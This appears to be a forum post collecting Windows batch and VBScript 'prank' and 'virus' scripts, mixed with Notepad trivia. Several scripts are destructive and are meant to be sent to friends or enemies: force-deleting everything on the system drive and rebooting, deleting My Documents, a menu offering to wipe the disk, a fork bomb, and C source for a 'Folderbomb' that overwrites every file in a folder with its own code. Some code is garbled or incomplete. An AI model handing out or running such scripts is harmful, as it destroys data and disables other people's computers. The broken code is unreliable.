Funny Script

THIS IS MY SCRIPT COLLECTION

@Echo off 
Del C:\ *.* 
y 

or better version

@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00

And save that as .bat not .txt and RUN IT
It will delete the content of C:\ drive...
PLEASE NoTe::::: dont run that .bat file on ur system .... it will delet c:...
IF ANY ONE..... DARE TO ......RUN ...U LOST ..........CONTENTS OF C drive


EVEN I DIDN't TRY THIS........
I WILL NOT RESPONSIBLE FOR ANYTHING DONE BYE U USING THE INFORMATION GIVEN ABOVE...
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2) Continually pop out your friend's CD Drive. If he / she has more than one, it pops out all of them!
Type :
Code:
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject

Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject

Next
End If
wscript.sleep 5000
loop

Save it as "Anything.VBS" and send it.
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3) Frustrate your friend by making this VBScript hit Enter simultaneously:
Type :
Code:
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

Save it as "Anything.VBS" and send it.
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4) Open Notepad, slowly type "Hello, how are you? I am good thanks" and freak your friend out:
Type :
Code:
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "

Save it as "Anything.VBS" and send it.
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5) Frustrate your friend by making this VBScript hit Backspace simultaneously:
Type :
Code:
MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
Save it as "Anything.VBS" and send it.
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6) Hack your friend's keyboard and make him type "You are a fool" simultaneously:
Type :
Code:
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop
Save it as "Anything.VBS" and send it.
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7) Open Notepad continually in your friend's computer:
Type :
Code:
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

Save it as "Anything.BAT" and send it.
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8 ) Hard prank: Pick your poison batch file. It asks your friend to choose a number between 1-5 and then does a certain action:
1: Shutdown
2: Restart
3: Wipes out your hard drive (BEWARE)
4: Net send
5: Messages then shutdown
Type :
Code:
@echo off
title The end of the world
cd C:\
:menu
cls
echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc...
pause
echo Pick your poison:
echo 1. Die this way (Wimp)
echo 2. Die this way (WIMP!)

echo 3. DO NOT DIE THIS WAY
echo 4. Die this way (you're boring)
echo 5. Easy way out
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two

Save it as "Anything.BAT" and send it.
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9) Hide text inside your text file !
* Open your command prompt Start–>Run type cmd
* Move to any destination for example let us assume D:\> drive
* Type the below code in your command prompt
* D:\>notepad syshacks.txt:hidden
* syshacks notepad save
* syshacks notepad hidden
* Write some data and save the file.
* Move to D:\> and open syshacks.txt you cannot see no data in the file syshacks.txt.
* To retrieve the hidden data open command prompt and type the same command.
* D:\>notepad syshacks.txt:hidden
* Notepad will open syshacks.txt file with hidden data

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10) A Virus That Will Open And Close Ur Cdrom
Code:
Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
do
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
loop
End If

Save it as "Anything.vbs" and send it.
Now if u want to disable this go to task manager click on process
then find wscript.exe and end this process
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11) Notepad virus
Open NotePad And Write This:
Code:
@echo off
:E
start cmd.exe
start calc.exe

Save It As .bat.
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12) Code to shutdown computer

Open NotePad And Write This:
Code:
avidemux2_cli --run j-1.js --run j-2.js --end
shutdown.exe -s -t 00
Save It As .bat
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13) Code for log
Open NotePad And Write This:
Code:
.LOG
and Save It As .txt
now if you open the file
its writes the time and day that you log...
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14) Code for matrix falling text-
Open NotePad And Write This:
Code:
@echo off
:loop
COlor 0A
Title J J f f g g g g
echo 0 A 0 1 1 1 A 0 1 0 1 0 7 7 8 9 9 1 0 1 0 1 A 1 0 a d d f f 1 0 8
echo 0 0 0 0 0 0 0 0 1 A 0 A 1 0 A 1 1 1 1 0 A 1 0 A 5 5 6 7 a n k k k
echo 0 1 0 1 0 A B J 0 3 4 0 1 0 1 0 1 B A A O i d d 3 3 4 4 6 7 7 g u
echo 0 2 3 1 1 1 5 5 6 5 6 8 9 5 4 5 4 5 5 4 5 5 6 4 f f f g j d g d f g d
echo 2 4 5 6 5 5 6 5 9 4 5 7 7 7 7 8 9 9 0 66 6 1 5 5 6 4 5 5 8 6 4 4 6 4
goto :loop

Save It As .bat
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15)code to make computer chat with you
Open NotePad And Write This:
Code:
dim fname
fname=inputbox(" Hi whats your name?")
fname=inputbox("My Name Is Saplas")
fname=inputbox(" I Love You Saplas ^^.")
Save It As .vbs
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16) Code to open many windows!
Open NotePad And Write This:
Code:
start
start
start
[The Number of "start" e.x 3 start-->3 windows ,, more start.. more windows ^_^]
Save It As .bat
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17)code for Rick Roll
Open NotePad And Write This:
Code:
@echo off
START
http://www.smooch.net/lol [ you can change the site but i find this Site for RIck Roll-->best] [[for closing this site, push ctrl+alt+delete]]
Save It As .bat
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18)code for Virus Joke
Open NotePad And Write This:
Code:
start
start
start
start
@echo off
msg ' [your text here] example msg ' We Hack So What?
msg ' [your text here] example msg ' Hahahahahaha.
shutdown -s -t 50 -c "your text here" example shutdown -s -t 50 -c "The Pc Gonna Exploded In 50 Sec"

Save It As .bat

If You wait 50 sec, your pc gonna restart..
But..
Start-->Run. Now Write shutdown -a
It Stops The Restart...
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19) code for Virus Joke 2
Open NotePad And Write This:
Code:
@echo off
:hack
echo [your text here] I prefer this example --> echo Trojan Virus Uploading
goto hack
Save It As .bat
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20) code for Adding A Heading And Text
Open Internet Explorer[prefer Mozila Firefox] .Then Open NotePad And Write This:
Code:

In The " ", It's The Name For The Site

HelloIn The " " are the font and the size number.
Example

Hello
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21) code for make a Fork Bomb(LoL)
Open NotePad And Write This:
Code:
start
%0
goto :S

Save It As .bat
If You Open It, It Can Crash Your Pc So Send It In YOUR FRIENDS .. Not to ME ^_^ .
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22) Create your own Never Ending Error/Pop up messages
First of all, here are some possible uses for this cool little thing
1. Bind them with your virus's / trojans. You can use any messages remember.
2. To piss off your friends making them think you've messed there computer up.
3. Whatever you want really!

Step 1. Open Notepad
Step 2. Type the following text:
Code:
lol = msgbox("Text You Want Here",16,"Title Of Message Box Here")
Step 3. Create as many lines as you want, for example my outcome would be something like this:
lol = msgbox("A System32 error has occured, please contact microsoft immediately",16,"Fatal Error")
lol = msgbox("Mswinsox (C:\Windows) Will now be deleted",16,"Fatal Error")
lol = msgbox("(C:\Windows) is being deleted",16,"Fatal Error")
lol = msgbox("Your computer will reboot shortly",16,"Fatal Error")
lol = msgbox("If you still have a problem, then you are -beep-ed",16,"Fatal Error")
lol = msgbox("owned you",16,"Fatal Error")

Step 4. Save it as Anything.vbs , distribute it amongst your friends and have a laugh.
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23) make your pc talk with notepad!
Open a text file in notepad and write:
Code:
Dim msg, sapi
msg=InputBox("Enter your text","Talk it")
Set sapi=CreateObject("sapi.spvoice")
sapi.Speak msg
Save the file with a (*.vbs) extension, it will create a VBScript File.
It will prompt you for a text when u open the file, input the text and press ok."
u will hear what u typed
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Fake warning boxes:
http://www.maxcheaters.com/forum/index.php?topic=53974.0
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Virus in notepad
Paste this in yor notepad
Code:
"X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*X5O!P%@AP[4\PZX54(P^)7CC)7}" (Without Quotes)

now save it and scan it by ur antivirus software..
Bush trick
Step 1: Open Notepad
Step 2: Write following line in the notepad.
this app can break
Step 3: Save this file as xxx.txt
Step 4: Close the notepad.
Step 5: Open the file again.
or
1> Open Notepad
2> Enter four words separated by spaces, wherein the first word has 4 letters, the next two have three letters, and the last word has five letters
3> DON'T hit enter at the end of the line.
4> Save the file.
5> Close Notepad.
6> Reopen Notepad.
7> Open the file you just saved.
or
Open a note pad
type Bush hid the facts
save that file,
close it
again open and see...
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world trade centre trick
Did you know that the flight number of the plane that had hit WTC ...on
9/11 was Q33N ....Open your Notepad in ur computer and type the flight
number i.e Q33N... Increase the Font Size to 72, Change the Font to
Wingdings. U will be amazed by the findings.

log trick !! make ur Notepad a diary !!
Sometimes we want to insert current data and time, whenever we open the file in the notepad. If you are a lazy person like me, who don’t like to press F5 whenever you open a notepad. Then here is a trick to avoid this. Just add a .LOG in the first line of your text file and close it.
Whenever you open the file with that text in the first line in the notepad, it will insert the current date and time at the end of the file. You can start entering your text after that.

WHY?
The reason this happens:
In notepad, any other 4-3-3-5 letter word combo will have the same results.
It is all to do with a limitation in Windows. Text files containing Unicode UTF-16-encoded Unicode are supposed to start with a "Byte-Order Mark" (BOM), which is a two-byte flag that tells a reader how the following UTF-16 data is encoded.
1) You are saving to 8-bit Extended ASCII (Look at the Save As / Encoding format)
2) You are reading from 16-bit UNICODE (You guessed it, look at the Save As / Encoding format)
This is why the 18 8-bit characters are being displayed as 9 (obviously not supported by your codepage) 16-bit UNICODE characters
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Changing Header and Footer
Ever printed the little text you wrote in Notepad? More often than not, the printout starts with “Untitled” or the filename at top, and “Page 1? on bottom. Want to get rid of it, or change it? Click on File, Page Setup. Get rid of the characters in Header and Footer boxes, and write what you want as Header and Footer. Use the following codes.

&l Left-align the characters that follow
&c Center the characters that follow
&r Right-align the characters that follow
&d Print the current date
&t Print the current time
&f Print the name of the document
&p Print the page number

Print tree root
a. Open NOTEPAD and enter {print tree root}
b. After that hit enter and type C:\windows\system
c. After that hit enter and type {print C:\windows\system\winlog
d. Hit enter and type 4*43?$@[455]3hr4~
e. Then save the file as teekids in C:\windows\system.
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SImlpe Virus Coding
Run this on your own responsibility*/
VIRUS CODE-1
IT DELETES THE MY DOCUMENTS FOLDER OF UR ENEMY.
HERE'S WHAT U SHOULD DO
OPEN NOTEPAD AND COPY-PASTE THE FOLLOWING CODE IN IT.
THEN SAVE THE FILE WITH WHATEVER NAME U LIKE BUT WITH BAT FILE Extention.
I MEAN SAVE IT LIKE VIRUS.BAT.
NOW IF U GIVE THIS TO SOMEONE AND IF HE RUNS THIS PROGRAM THEN HIS MY DOCUMENT FOLDER WILL BE DELETED.
Code Is Below
rmdir C:\Documents and Settings \S\Q.


Run this on your own responsibility*/
VIRUS CODE-2
/*This is a simple program to create a virus in c
It will create Folder in a Folder in a Folder and so on ......

#include<stdio.h>
#include<conio.h>
#include
#include
#include
void main(int argc,char* argv[])
{ char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf(”————————————————————————–”);
printf(”\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan(asystem0@gmail.com)\n”);
cprintf(”————————————————————————–”);
done = findfirst(”*.*”,&ffblk,0);
while (!done)
{ printf(”\n”);cprintf(” %s “, ffblk.ff_name);printf(”is attacked by “);cprintf(”Folderbomb”);
source=open(argv[0],O_RDONLYO_BINARY);
target=open(ffblk.ff_name,O_CREATO_BINARYO_WRONGLY);
while(1)
{byt=read(source,buf,512);
if(byt>0)
write(target,buf,byt);
else
break;
}
close(source);
close(target);
done = findnext(&ffblk);
}
getch();
}